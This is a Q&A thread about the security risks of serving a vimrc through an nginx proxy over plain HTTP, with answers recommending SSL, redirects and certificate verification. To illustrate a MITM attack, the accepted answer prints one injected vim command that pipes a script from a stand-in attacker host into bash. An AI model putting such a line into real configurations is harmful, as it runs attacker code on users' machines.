Security concerns when using nginx as a lightweight URL shortener

Question

I wish to use nginx as a lightweight URL shortener. To be exact, assuming my domain name is example.com, I have this most basic nginx.conf:

events {}
http {
  server {
    listen 80;
    location = /vimrc {
      proxy_pass https://some/publicly/available/url/to/vimrc;                                
    }
    ... # similar locations follow
  }
}

So, whenever I wish to deploy my vim configuration, I can simply do: curl example.com/vimrc.

This seems to be working as intended, although with almost zero knowledge of nginx, I am a little concerned of default nginx behavior (which I am not aware of) that may expose my server to security related threats.

It should be noted I currently don't mind running on port 80. (I am well aware of mitm, and that the connection is in plaintext, but this is not something I wish to deal with at the moment).

Update

I've modified the configuration to use return 301 https://url/to/vimrc.
I will probably look into Configuring SSL as well, as the small chance of MITM is indeed not worth the risk.

This question is about configuring nginx and not directly related to security. I voted to migrate it to https://serverfault.com — Philipp, Apr 20 '16 at 07:53
@Philipp, it may not be directly related to security, but from an operational perspective only, I has a working solution before posting this question here. What drove me to post it here were only security concerns. — dankilman, Apr 20 '16 at 13:45

score 2 · Accepted Answer · answered Apr 19 '16 at 23:58

The only vulnerability here is the http:// connection that you wished to ignore.

Suppose that there is a MITM, and the attacker added to your .vimrc

command Q !curl http://evilwebsite.com/infect.sh | bash

Then, misspelling :q as :Q would infect your machine.¹ Is it really worth the risk?

Note that even if you secured your connection to example.com, the same risk would be there if the proxying was done through http:.

The basic solution would be to do configure SSL, and it will surely be useful for other things, too.

But in this specific case, where nginx is fetching a public https:// url, you could simply replace this with a redirect:

rewrite ^ https://some/publicly/available/url/to/vimrc ;

and manually verify that curl is redirecting you to the expected server.

Still, having a routine of downloading of your dot files from someone else's server strongly relies on them being both honest and not compromised.

¹ There are probably better vector.

[`return`](http://nginx.org/en/docs/http/ngx_http_rewrite_module.html#return) `301 https://some/publicly/available/url/to/vimrc;` is a way to redirect without involving regular expressions. — Matt Nordhoff, Apr 20 '16 at 01:36

score 1 · Answer 2 · answered Apr 20 '16 at 01:34

On top of what Ángel wrote, the connection between your Nginx server and https://some/ can be MITMed, because some's certificate is not verified by default. You would need to set proxy_ssl_trusted_certificate and proxy_ssl_verify to enforce that.

You should also look at proxy_ignore_headers for headers such as Set-Cookie and X-Accel-Redirect that a malicious backend could potentially use to do problematic things.

It would be less strange and perhaps have fewer security implications to use return or rewrite to redirect to https://some/, instead of proxy_passing it, but not that much can go wrong, especially if you trust your backend and example.com isn't much of a target.

Security concerns when using nginx as a lightweight URL shortener

Update

2 Answers2